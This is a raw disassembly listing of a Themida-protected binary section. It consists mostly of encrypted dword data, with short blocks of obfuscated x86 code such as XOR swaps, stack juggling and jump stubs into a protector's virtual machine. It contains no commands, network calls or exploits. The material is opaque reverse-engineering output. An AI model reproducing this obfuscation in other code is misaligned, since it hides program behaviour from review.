dd 2157BB1Fh, 934D74D1h, 43D42F43h, 313330Eh, 0B109C0C0h
dd 0CA90A752h, 2157BB1Eh, 934D40D1h, 2CD42F43h, 313330Fh
dd 0B109CCC0h, 4790A752h, 2157BB1Eh, 934D5CD1h, 0A6D42F43h
dd 3133308h, 0B109D8C0h, 0C590A752h, 2157BB19h, 934D54D1h
dd 38D42F43h, 3133308h, 0B10920C0h, 4390A752h, 2157BB19h
dd 934DACD1h, 12B8C343h, 0DF152A50h, 6CD24ECEh, 8AFD4AA8h
dd 0F251A245h, 0D324C0D5h, 0ED96A45Ch, 8A152AA8h, 0A0242945h
dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh
dd 3AAE63CEh, 8C070CB1h, 0AB534284h, 0FFEA2211h, 0A4245D55h
dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h
dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h
dd 27BFEA66h, 0B7DB2FEEh, 75133369h, 2011294h, 0B70AA0D9h
dd 79AEA45Ch, 0AE51A1ECh, 22DC0941h, 8C0C174Bh, 103773BAh
dd 21732ADFh, 954E28C8h, 5BEA2C4Dh, 8C152BFDh, 988150h
dd 0AE489F5Ah, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0D3E4C0D5h
dd 0DDDAA45Ch, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 0BDA830BAh
dd 529E2C46h, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 0B70AA0D9h
dd 79AEA45Ch, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh
dd 174D629h, 6A985E00h, 1402A5Ch, 549521A9h, 8A15C234h
dd 290BA245h, 934F62BEh, 0A0242943h, 4D1957DFh, 0A8515E00h
dd 75532A54h, 0BA445BD7h, 19CDA152h, 9BFC69CEh, 0E2A5B997h
dd 0F9FA31EFh, 0B70AA0D9h, 79AEA45Ch, 20949A0Dh, 8C651A23h
dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h
dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h
dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h, 2851A245h
dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h
dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh, 0ED96AE38h
dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch
dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h
dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh
dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh, 85E1D4h
dd 22DC0886h, 8C0C174Bh, 0F8E173BAh, 959FA7FEh, 5757BB78h
dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h
dd 75152A54h, 0BA7747D7h, 20452652h, 954E28C8h, 5BEA2C4Dh
dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh
dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h
dd 0A42C294Dh, 8AE96F93h, 451A245h, 7387D5FEh, 2357B050h
dd 4917868Ch, 0B7DB2FEFh, 75133369h, 28E9C494h, 0BE4CBDh
dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh, 2BBD2910h
dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h, 18EA80F8h
dd 0AE43B7BCh, 58B9E2DFh, 32DC0885h, 8C0C174Bh, 103771BAh
dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h
dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
dd 75BF8654h, 0BA445BD7h, 26DDA152h, 25FB6377h, 932835CEh
dd 0CE825D43h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h
dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh
dd 0A8515E00h, 32732A54h, 3376B77h, 0B70AB0D9h, 7BAEA45Ch
dd 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh, 43E96FDFh
dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h
dd 0EC152A54h, 0CEB824FDh, 958FA7FFh, 5757BB78h, 20A09A87h
dd 25FB0E03h, 932835CEh, 0CE825D43h, 0ECD8ACECh, 0A42C89EEh
dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h
dd 0F251A245h, 0D70CC0D5h, 0ED96A45Ch, 8A152AA8h, 0A0242945h
dd 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h
dd 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h
dd 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h
dd 2559D7BAh, 934D64CEh, 32DCF143h, 8C0C7371h, 0EDD871BAh
dd 8A42C3A8h, 0DDAEA245h, 8260D558h, 0F00F38C8h, 7462C4Dh
dd 0B10887DFh, 3C6D552h, 92B85E00h, 75152A54h, 0DDAEAE30h
dd 0E08FA75Ch, 0FB57BB1Dh, 0D330B0D9h, 7BAEA45Ch, 63E96FDDh
dd 0A851A258h, 75195FABh, 32DCAA30h, 8C0C7222h, 8DCB2F16h
dd 7513330Dh, 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h
dd 3044BA45h, 9D8D0000h, 6123459h, 23E4B8h, 1858900h, 0E8061223h
dd 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5F3CC5
; ---------------------------------------------------------------------------
align 4
dd 8F8h dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5F3CC5: ; CODE XREF: Themida_:005F18DCj
jmp loc_5F3CF4
; ---------------------------------------------------------------------------
dw 840Dh
dd 310Fh, 9 dup(0)
; ---------------------------------------------------------------------------
loc_5F3CF4: ; CODE XREF: Themida_:loc_5F3CC5j
jmp loc_5F4A5F
; ---------------------------------------------------------------------------
push 61983E9h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61984D6h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61985AAh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6198665h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6198A0Eh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6198CBAh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6198DB6h
jmp loc_583BD9
; ---------------------------------------------------------------------------
db 0Dh
dd 0A53E8B84h, 42DB28E7h, 0E17AC748h, 7B1461AEh, 0C0B0FD12h
dd 7B94F9F5h, 19F6952Eh, 0B25D33CCh, 4DC2CC65h, 0CFD72600h
dd 4DF8E1B8h, 7218EECBh, 0F6BFF41Bh, 0CB28759Ah, 0FD14D3C2h
dd 69714A44h, 47DF601Eh, 54E7525Dh, 0F18FBEF4h, 0A3ABC249h
dd 4DF18FE4h, 0B1F98C97h, 325971A6h, 0C14DF190h, 7D553CA5h
dd 0AA24AED2h, 32h, 0C0A5AEFCh, 20F38001h, 0BCFEF803h
dd 0F0B2BA29h, 0BF49F231h, 0D7587FB4h, 29B7FE3Fh, 98F88B38h
dd 4DF23DF3h, 96FDE400h, 24AE203Eh, 7EBh, 8E743D00h, 0DE000008h
dd 0BEF31C72h, 0B77699F5h, 5FEF98A0h, 818C47DFh, 8B94F1EEh
dd 0AFDFE7A6h, 0D649F18Ch, 0C3C0330Dh, 2590A224h, 0A7B3D8F0h
dd 89074DF1h, 4885186h, 95D9D60Bh, 536F974Ch, 0AA9FF78Eh
dd 324C24AEh, 5D000000h, 60272F46h, 234DF1AFh, 0B01F6818h
dd 515C4DF1h, 0A5AE90BEh, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh
dd 484DF180h, 0E6DEB52Ch, 3324AEDFh, 0A4h, 0F31C7285h
dd 7798F5BEh, 0FA157942h, 7D92FCC5h, 5B234830h, 375747DFh
dd 0DB948BD8h, 0B7C85BB4h, 760338D7h, 0C1C9886Dh, 49F16519h
dd 352C7984h, 0B5F941B4h, 720515AFh, 0EEAD949Dh, 0CFB8C0D7h
dd 0AC4DF21Bh, 0D8AE0EA1h, 9F5004BEh, 711CD594h, 435A519Eh
dd 0E5704C3Bh, 91242F47h, 83020D80h, 0EDBFC667h, 7F46EBh
dd 8900000Bh, 21BA0708h, 0BE57A46Bh, 5DF643CCh, 0F790DD32h
dd 3C2C7996h, 0F7187579h
db 0AAh, 11h, 7Ah
byte_5F3EDF db 95h ; DATA XREF: Themida_:loc_5A4DCCo
dword_5F3EE0 dd 2EE1AF48h, 0C94648E1h, 4B53A27Ch, 4DF8E33Ch, 728C623Fh
; DATA XREF: Themida_:00595F27o
dd 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0F17ECDF9h, 6E2D3849h
dd 0B976DBB5h, 0C1BD3D45h, 8E578CF7h, 46A712FDh, 4D32C54Ah
dd 0F1C75635h, 60819D4Dh, 0AE96A929h, 38581124h, 0B64244D7h
dd 94000000h, 34F31C72h, 0F069C1Dh, 0F9D9BBF0h, 0DFE03E49h
dd 9F323D47h, 7D9CF1BAh, 5C91FC13h, 0DFDB2744h, 0D43B5347h
dd 6FA0EE87h, 69A4AD3Ah, 0DFE42661h, 0DF4A5547h, 86010920h
dd 0F547DFE3h, 0C082C1EAh, 36757E74h, 0AE2C34A3h, 1949F17Ch
dd 76D5B2BAh, 9BA64DF1h, 7D86E330h, 0C2D1D998h, 0B1500418h
dd 5F2EE7A6h, 0C3CA63B0h, 0DAF11C8Eh, 0B31E9396h, 0BFED2E34h
dd 581FC4EDh, 0A13h, 0CD1AF59Ch, 6AB75834h, 956B9D1h, 0A3F01F70h
dd 3F8C830Ah, 588664Fh, 6724BD0Ah, 0CEC25BA8h, 335BF441h
dd 66B58FDCh, 0F8E4295Eh, 0A77D5A4Dh, 0A7F41B72h, 428F800Eh
dd 0F31C728Ch, 7699F5BEh, 9A1B3229h, 5D0114F5h, 0E0A757BEh
dd 0A347DFC4h, 371D0598h, 0C180656Eh, 0F1DA95B9h, 8991F049h
dd 4DF1CFFEh, 0A038D7B4h, 0F9D92A95h, 0B414FE73h, 62211019h
dd 0F82DE2A9h, 1B239225h, 0F9C8CE73h, 0DCABB312h, 0EF1A4D0h
dd 0A9925464h, 68730BACh, 9853EFDh, 8608D106h, 16815489h
dd 8119E83h, 5548A15Bh, 57C251F2h, 0D2859098h, 6772F3B8h
dd 709FEFA8h, 26AB2C23h, 0A3F9D05Ch, 331781FDh, 44D2700Ah
dd 21EEA0B1h, 69AE6AA2h, 7C43E842h, 93Fh, 0F946C9C8h, 96E32C60h
dd 35828DFDh, 0CF1CF39Ch, 6BB85736h, 0D9B43A7Bh, 3B50E936h
dd 0A2EE87D4h, 787206Dh, 92E1BB08h, 0F8E4FD8Ah, 0CBA17E4Dh
dd 34F31C72h, 5F72151Dh, 481147DFh, 45DE4D18h, 71046F80h
dd 0FF6FF8Ch, 0CA3CCF50h, 6A6A4ABAh, 726068D7h, 5D49F197h
dd 0B0DA9352h, 0C4572A5Fh, 5DF49C55h, 0A1DC8E1Ah, 5BA813FBh
dd 424BCEC2h, 9050660Fh, 0C8335F81h, 0F901C093h, 4DF1658Eh
dd 4277E2EDh, 0F1655D2Ah, 7585064Dh, 68714DF1h, 22A3BA79h
dd 0B869518Dh, 969FC33h, 500455E5h, 79A0D5E0h, 6AC38CF8h
dd 20B31D01h, 11907F0Fh, 0EDB914F7h, 840FD67Bh, 0D000008h
dd 0A53E8B84h, 42DB28E7h, 0E17AC748h, 7B1461AEh, 0C0B0FD12h
dd 7B94F9F5h, 19F6952Eh, 0B25D33CCh, 4DC2CC65h, 0CFD72600h
dd 4DF8E5B8h, 1418EECBh, 0A8DD325Bh, 646D42D5h, 3200C4BFh
dd 59C47EF0h, 0A15C929Ah, 8B4449F1h, 97781405h, 91248F62h
dd 0E2093E49h, 74A96629h, 8FFD0EA1h, 833C3380h, 5E6F020Dh
dd 1FACE12Eh, 0B9CED613h, 0CA4DF160h, 8D9554BFh, 4DF16142h
dd 0C6F5E8B1h, 0CF36E501h, 9B872F64h, 0A843D46h, 29E6A405h
dd 7D8E21F4h, 89860A0Fh, 57168154h, 0E91EF19Eh, 9E868316h
dd 4DF23CEDh, 5918FD09h, 0F23D5251h, 0C813A4Dh, 1D287003h
dd 0BA5537D0h, 3C266D85h, 46444DF2h, 0BFCB94C9h, 0ECF41B50h
dd 4DF23C9Bh, 0B19DDDE8h, 5C6BAB30h, 0ED22EDA3h, 0A63B871Ah
dd 0C5C8513Bh, 1DE7D98Ch, 0AC17F99Dh, 0EC39A477h, 0AAE03953h
dd 0A59951A7h, 0C9342B80h, 2156C194h, 0F231F209h, 8788084Dh
dd 9068952h, 4E93D7D4h, 0DD12FD93h, 735F9F0Ah, 0F619736Eh
dd 939BB2A9h, 4DF231F4h, 322F5860h, 414C4DF2h, 360B9EA9h
dd 7A82412Ah, 4DF23214h, 1B336873h, 0E1D18DCBh, 0FA934E6Ah
dd 91C64941h, 0C6BE2BBEh, 0A650CF54h, 0D96CA3EDh, 1DCD7h
dd 0A5AE2900h, 0E2EA01C0h, 47DF5FA5h, 0C938CBD6h, 0F17151C1h
dd 2E5C1549h, 0FB064EE1h, 0B00B833Ch, 0F17ADFA8h, 4ED39C4Dh
dd 747FA85Dh, 125FCA35h, 0C5FA1579h, 961C40ADh, 430E7ECEh
dd 0C52514D1h, 4F84EF9Bh, 0D0050A86h, 0ECA53C28h, 33A1A3E4h
dd 6AD5E0C9h, 0D0B9283Ch, 63987717h, 0A2ECFD90h, 787206Dh
dd 3A46D308h, 9A119251h, 1B415C0Dh, 0ECE3E073h, 24B75833h
dd 0D4937C13h, 20D2B5BDh, 0E8B1C934h, 3F820274h, 770A75A0h
dd 4AC5C992h, 53BCD28Bh, 0BBB84B1Eh, 0E4A36C22h, 76AB642Bh
dd 516DA5E5h, 147FC035h, 0F9849C81h, 38569C7Bh, 53D4BD24h
dd 0CEBE6738h, 785E6F2h, 6D00D308h, 90DD325Ch, 437897F7h
dd 2C1AAB6h, 0BDF88DFAh, 0E246C73Bh, 189414E1h, 3A458D20h
dd 513DF6EDh, 731A2BBEh, 0BEC6DD9Ch, 3BBE1EC9h, 371CAFBAh
dd 0F6B59EAAh, 8CC14E3Dh, 0AFB726B9h, 3BBE1ED4h, 1CD5949Fh
dd 0F0C9F70h, 0DE315F18h, 0FD543A4Bh, 0F868C38Eh, 6E54FE90h
dd 0ACD108A2h, 5E17D641h, 0D8ABE02Fh, 0B8396045h, 9F58769Eh
dd 718215E0h, 7F90FD1Ch, 4B37DF14h, 0CC434B96h, 67A8E67Fh
dd 7A9FEFA8h, 5D92FD12h, 8512F78Ah, 0CDD59479h, 3BBDE6F2h
dd 0D069B6C1h, 531C51BEh, 0D89DD23Dh, 5C32BD24h, 24DDF4B3h
dd 92F5A56Ah, 603BBDE6h, 4DDCDF1Ah, 0C4CF67F6h, 53E62963h
dd 3ED1BD56h, 8B707C09h, 0FCF7C4CCh, 0CBCC3BBDh, 858D4CC3h
dd 3BBDFD02h, 0BE0B7681h, 6FA46B25h, 2EEDD6E2h, 0FC780F17h
dd 49423BBDh, 26BE91C6h, 1119881Bh, 3BBDFCA6h, 0B8916DEEh
dd 0BEC0C7CFh, 0B8C33BBDh, 275F8D8Fh, 444B4C94h, 9C7E5A0Dh
dd 5FCA61EAh, 9098572Ah, 3BBD67F7h, 0C10E7984h, 0F31C720Bh
dd 514049A6h, 5CB3D992h, 7C525AC9h, 8B49F178h, 0F1AAC180h
dd 6D40759Ah, 0FFCBF744h, 0BB4E2E66h, 0DC29E6AAh, 8DC24D43h
dd 4B0AF700h, 45B8F43h, 0BEF3FE50h, 67B2DE97h, 467BE629h
dd 0B80E073h, 5147E06Ch, 0DC1AE2D0h, 7D355EB1h, 0CFA43752h
dd 920DFC6h, 589DEAF2h, 0D3DE47E0h, 750EE040h, 2E3949F2h
dd 0B15E30F9h, 0AB0A0E32h, 783FE4EBh, 4DBh, 95E22D64h
dd 327F90FCh, 0D11EF199h, 6BB85738h, 754BBD2h, 3D509E17h
dd 9FEC85D2h, 68A2370h, 6B23BC09h, 2E7D57A4h, 0F8E96126h
dd 6F45224Dh, 1C0A5AEh, 0F16C6DF9h, 588D9849h, 0F16D4E40h
dd 548DA94Dh, 0AEEC453Dh, 60E2524h, 4DF17581h, 9BAC3902h
dd 32D8824Ah, 793234C7h, 84000000h, 0DF5FB823h, 0E4955847h
dd 0BB1865AAh, 0FD05C4B1h, 47DF5FC2h, 441B28F1h, 0FF9DB5DBh
dd 0F8965F94h, 636DCA17h, 8B7BF7Eh, 0BB47DFA4h, 0DCB27BB0h
dd 555D7433h, 47DFA432h, 0A365222Ah, 0B1647DFh, 0F6197273h
dd 0F083EEC1h, 0A78C96F3h, 0A3CBE0E8h, 0EDF847DFh, 914FAD2Eh
dd 0A61C0EA7h, 75162E13h, 6647E061h, 0AEB8677Ah, 0B1FA02C1h
dd 0D247DFE1h, 0B2E37AC7h, 4D000000h, 1C0A5AEh, 0F17BF5F9h
dd 0D0051049h, 3E8B8407h, 2EEDD4E1h, 0F2C204ADh, 0B9EF116h
dd 666E859Ch, 4DF1F721h, 64C45762h, 4DF1F71Fh, 0C245964h
dd 4DF1F680h, 711AC7E3h, 0A93CD3B8h, 518A443Ch, 6B91DBh
dd 0AEE30000h, 44FDBCA1h, 0C433C649h, 0DF5FCBBCh, 0EEADB847h
dd 82B75835h, 6E371CAFh, 7F90FC1Dh, 0BF0C774Ah, 0F70747C8h
dd 861138EFh, 3D9E0906h, 552ABD52h, 9AA26148h, 47E01761h
dd 0E728621Bh, 16672028h, 91447E0h, 0EE232E76h, 0E056B5D6h
dd 0A73A2647h, 0C7866B78h, 7B94F7B0h, 80E07346h, 47E0577Bh
dd 4BC4C881h, 186570B8h, 0F31C7262h, 72151D34h, 1147DF5Fh
dd 76B08048h, 46B1D203h, 8905CEB3h, 89423986h, 937C1306h
dd 8D20F328h, 3C2AFB8h, 0F20493FBh, 28E7F249h, 0D09526A7h
dd 0D467534Dh, 59B4D7EFh, 233F4DF2h, 18CFC7BEh, 2F1C24AEh
dd 6E000000h, 1C0A5AEh, 0F17ECDF9h, 33581149h, 0F60149DCh
dd 6F182037h, 0C4DF180h, 71896E01h, 4DF1811Ah, 6D24BDD9h
dd 24AEDF15h, 0F0C2h, 1C721400h, 151D34F3h, 47DF5F72h
dd 0DDAAB211h, 9E47DF5Fh, 0B0952893h, 1C73A6E7h, 80EBBEF3h
dd 30C824Bh, 62252D44h, 2147DF5Fh, 0D59E8316h, 120956B9h
dd 0EBAA0B91h, 9427CB8Dh, 0DFCC3734h, 460B8347h, 4742DCB4h
dd 0B5026D4Fh, 689D721Ch, 24E3D2DBh, 0F24D3A1Ch, 51F57649h
dd 0E2F7A516h, 0DF305CBDh, 0FC44D7AAh, 3E47A4F1h, 6A819857h
dd 0F1E92562h, 0B84B564Dh, 48CC358h, 0D695A050h, 529F701Dh
dd 58B445Bh, 5202D50Ah, 47E58435h, 0CC202AB5h, 680016B4h
dd 7FEA2567h, 5DB2DBECh, 0BF6A4CDEh, 1AE186EDh, 22Fh, 0E936D9B8h
dd 86D33C50h, 25729DEDh, 0BF0C038Ch, 5BA86726h, 0E9A44A6Bh
dd 4B40D926h, 0B2DE77C4h, 1777105Dh, 82D1ABF8h, 0F8EC0D7Ah
dd 0BB916E4Dh, 0A7F41B72h, 428F800Eh, 57FA924Bh, 50D49F22h
dd 66F964FEh, 0F5FD1438h, 47DF5F92h, 0FD8A92F1h, 7E47DF5Fh
dd 0A0750873h, 0E3EBAA97h, 49F17EE3h, 957A1112h, 0DDB26B2Ah
dd 972AFD32h, 80F19AB2h, 0E6024DF1h, 0DF3C94FBh, 0C37C24AEh
dd 0B0B245CAh, 0CDh, 8D8208C1h, 1C72CCFAh, 98F5BEF3h, 0B737B877h
dd 2D913FB6h, 84AB9023h, 36D9B46Dh, 0E0340186h, 0E4778247h
dd 0E02EE784h, 947B1347h, 2FE0AE47h, 7D646DFAh, 28A0B6BEh
dd 0FC0749F2h, 70F263Dh, 4DF23180h, 3F48F803h, 734DF232h
dd 0EDC0F51Ah, 0BAB74A55h, 0AE6D545Dh, 4D418A6h, 0E5A4AF50h
dd 19AC632Ch, 739CF1AAh, 0F008D26h, 0BFAF9090h, 763DE2EDh
dd 133h, 0ED3AD5BCh, 8AD73854h, 297699F1h, 0C310FF90h
dd 5FAC632Ah, 0E5A8466Fh, 4744DD2Ah, 0AEE27BC8h, 137B1461h
dd 86D5AFFCh, 0F8ED097Eh, 0C79D7A4Dh, 92F5FD14h, 0F147DF5Fh
dd 6719EF0h, 0E42B6273h, 81060E25h, 247DF5Fh, 4C818E01h
dd 7E7B0E79h, 1966A9E5h, 315B1463h, 43D6A9DEh, 0CFBD5C32h
dd 5FCA454Ah, 0DF98BFF4h, 5C2F64ABh, 39D6B8C9h, 9F868FECh
dd 8010C9E0h, 0FF9CFC8Fh, 0E449F6D9h, 0B3DBA4D9h, 18760F5Ch
dd 1266E439h, 13AAA04Ch, 7D78A11Dh, 0B7D637C0h, 0E5502358h
dd 0CB0498B0h, 622E1F0Eh, 9BE778ADh, 87E65B97h, 9E1D6DCEh
dd 0EE8DF196h, 1C879278h, 8E533FE7h, 3898BE8Bh, 38A32B11h
dd 721AD30Ah, 295689Dh, 0CEC02BB6h, 0B65934EDh, 89FEAE81h
dd 0FA78EF30h, 9E3784EFh, 21EA1FF0h, 4568E36Eh, 0B4A9008Eh
dd 806C1449h, 49088661h, 0D1D97B87h, 78EE81B6h, 0FA91BAC5h
dd 295E6651h, 5A78EF58h, 2C79E44Fh, 0F7C35h, 0F397F8CBh
dd 8114E71Ch, 0BCF11E70h, 12F5h, 0FD145F00h, 0DF5F92F5h
dd 85E6F147h, 0FED10609h, 721C0A6Bh, 0F2BBF01Fh, 753E739Ch
dd 0F6BFF41Bh, 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh
dd 8D568B84h, 0D4DB10FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push 1B78h
mov [esp], edx
push 2B0Ah
mov [esp], ebp
push esi
push 54492769h
pop esi
xor esi, 5250A50Ch
push esi
pop edx
pop esi
push esp
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, 8
add ebx, 2C891AECh
add ebx, ebp
sub ebx, 2C891AECh
mov [ebx], edx
pop ebx
push dword ptr [esp]
pop ebp
add esp, 4
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_583BD9
; ---------------------------------------------------------------------------
db 0Ch
; ---------------------------------------------------------------------------
add ah, 80h
loc_5F4A5F: ; CODE XREF: Themida_:loc_5F3CF4j
mov eax, 6198F0Eh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 66835DD8h, 18754A8Bh, 24945DA7h, 30134987h, 1D46C1AFh
dd 1DBA688Eh, 36C5E3C0h, 606BC3BAh, 3B2B8DAAh, 627DC433h
dd 1ADC996Bh, 6DD01E84h, 7EE03570h, 259CFA73h, 47F614A6h
dd 6CD8C0ABh, 11C8CC96h, 61010239h, 3276A2Eh, 82C4447h
dd 7BD63997h, 6E8h, 977F4400h, 0F5BB2F91h, 8E958h, 0BC410000h
dd 0A859BC8Dh, 0C0817174h, 5EECh, 0C8C0Fh, 800F0000h, 6
dd 850Fh, 680000h, 0F000000h, 28Bh, 5FDA8A00h, 148BD88Bh
dd 0D8BF0F38h, 3975F281h, 8B0F1240h, 6, 0A954E681h, 0F2817C31h
dd 45D60E76h, 0C281DA8Bh, 5F73BB60h, 666052FCh, 0EF81CB8Bh
dd 74115293h, 38048F61h, 6A7DBE66h, 81CA8B66h, 921E67EFh
dd 11E844h, 563E0000h, 3B703CEFh, 4751861Dh, 0A6A4FDC0h
dd 0E9164D46h, 0Ch, 0E12627DBh, 36CDCFh, 6AA8FF98h, 63C7815Eh
dd 6644921Eh, 81C39CB9h, 0FFA1D0FFh, 7F850FFFh, 8BFFFFFFh
dd 12E8DAh, 82F10000h, 896B8677h, 0CB262148h, 2C900B02h
dd 0C3F21EE5h, 12E9h, 297ED100h, 0D1FCAC18h, 0A7DA7B2Fh
dd 0AAD7D37Ch, 5BD2CA6Eh, 5FC381F5h, 0F0000D8h, 38Fh, 0D2BF0F00h
dd 35ED68h, 0FE800h, 0A98B0000h, 0A948819Ch, 466CD383h
dd 3462C8BBh, 88C4BAE8h, 595F7BFDh, 0B70F33FFh, 0BA665EFEh
dd 0EE81A606h, 2856949Fh, 81C68B66h, 0BE1BADF6h, 0BAF6814Ch
dd 816EC19Ah, 3586DDF7h, 8A56563Eh, 38F5AE3h, 7A40EB81h
dd 8E91086h, 40000000h, 215B6897h, 8104C7B7h, 867A3CC3h
dd 0A864BF10h, 0E9833ED8h, 0AD850F01h, 0B6FFFFFFh, 0ECE965h
dd 0
dd 6370000h, 0CE037C81h, 0C0587C81h, 10057C80h, 10ED7C90h
dd 7C90h, 276F2h, 5 dup(0)
dd 0ADA00000h, 7C80h, 2Bh dup(0)
dd 60000h, 0ED140000h, 0A2A31611h, 66113211h, 6681BA1Ah
dd 243215h, 69D1E9AAh, 0E570FBA2h, 74A733A8h, 6F313213h
dd 476B8F96h, 12113407h, 0EDDB620Ch, 62558AD5h, 0E3AB3215h
dd 60033920h, 0CB81AF98h, 0B5BB3401h, 0DBA16A4Eh, 6003135Ch
dd 369F4615h, 62558A46h, 0E3AB3215h, 60033920h, 0CF70AF98h
dd 0B5BB3401h, 6ECB6A4Eh, 0C1113215h, 4F449CBAh, 62040DBh
dd 96A35444h, 0D0497FDEh, 0EFDF531Ch, 0EDBCBBD2h, 0A2A31629h
dd 66113211h, 66883DFCh, 9341E115h, 0E1AFDB46h, 9D050A80h
dd 58F11D2Ah, 0F7388F96h, 6922340Ch, 66115591h, 0EF875215h
dd 66443219h, 662235FCh, 0B4C8B615h, 0D26F11E5h, 969DB342h
dd 3912BF08h, 0EB94BF74h, 698E2B54h, 66442A90h, 6631DB15h
dd 0BEAB3215h, 0B721F24h, 8462A49Bh, 0F75E9F54h, 0A6771D13h
dd 658CD37h, 6AC12EADh, 0BEA9540Eh, 0DB94BF74h, 8F8E2B54h
dd 6644321Ch, 874C518Fh, 0B00CF912h, 658CD06h, 7BC69A4h
dd 73E3B7D3h, 8F473407h, 66883204h, 3167D2D4h, 0AEB67FB9h
dd 0D5D9C000h, 935ACE42h, 0DE165A2Fh, 6DCBAEBDh, 96113215h
dd 9EF42C92h, 0AB18B44Bh, 0D3DD8860h, 60030314h, 98035475h
dd 664426FDh, 3C0C7015h, 1587A738h, 0D8DF6799h, 338B4BDBh
dd 0FA79679Dh, 3C4F608Eh, 1C0DBF74h, 69422797h, 66223598h
dd 679E3D15h, 9A883215h, 694CDECh, 652FD294h, 0E7775943h
dd 7A0C4DFh, 66DDB79Ch, 423407h, 0B19ACC9Eh, 60615274h
dd 0A0443215h, 5FA6E050h, 7CDB8C9h, 6AA5B7D2h, 66443407h
dd 0E82D3215h, 66113214h, 0A70DF4E9h, 23422000h, 0D92DC775h
dd 697153EEh, 0EE9F4A2h, 0E8365B7Ch, 9FA95475h, 97A4CD74h
dd 8F8E2002h, 66443206h, 0FE71DC12h, 0A4F9CDCDh, 0A9FA097Ah
dd 0A2135941h, 0EBC6EF52h, 742A7A90h, 503E5213h, 79CB973h
dd 0EFDEE2EAh, 74220790h, 0DA5213h, 71BC09Eh, 73E3B7D3h
dd 6523407h, 0C47E394h, 96C52F37h, 59003FA2h, 0D4F5A74h
dd 0EDE8AE72h, 6650DBDFh, 45E73215h, 0F4A8813Fh, 6FC0D39Ch
dd 0AFAD9598h, 0DBB07793h, 99700C40h, 749FC3A0h, 0E3C9C713h
dd 6030095Dh, 66113DFCh, 6104D715h, 85CAE2D9h, 523478E5h
dd 44947529h, 8EE8E2EAh, 6644321Ch, 8B4F810Bh, 7C077ABDh
dd 126DB23Bh, 0C5148C4Ch, 0EF4330B2h, 7F805690h, 669BDB13h
dd 84743215h, 0C07C2A8Eh, 97E421FDh, 605FBD0Fh, 6F2AC990h
dd 0E3E4CEAEh, 600327D4h, 6686DB41h, 71923215h, 0F10F8E74h
dd 0BD35533Ah, 429CD187h, 42C1B7Dh, 0DA52FBh, 77442ABh
dd 717987EAh, 0E34B3407h, 6622321Fh, 661137FCh, 0B2829415h
dd 0E3C93AA3h, 6030095Dh, 6603DB75h, 470E3215h, 0EBEC6A61h
dd 8DE38BC5h, 0BB60C265h, 78B4AF6Bh, 794B973h, 8FF2CDE9h
dd 66113218h, 0F07B18F6h, 40385EA4h, 5A8E6AEDh, 0E94BB0Ah
dd 68E2B84h, 6997B973h, 0A043E0A2h, 7404F390h, 76617713h
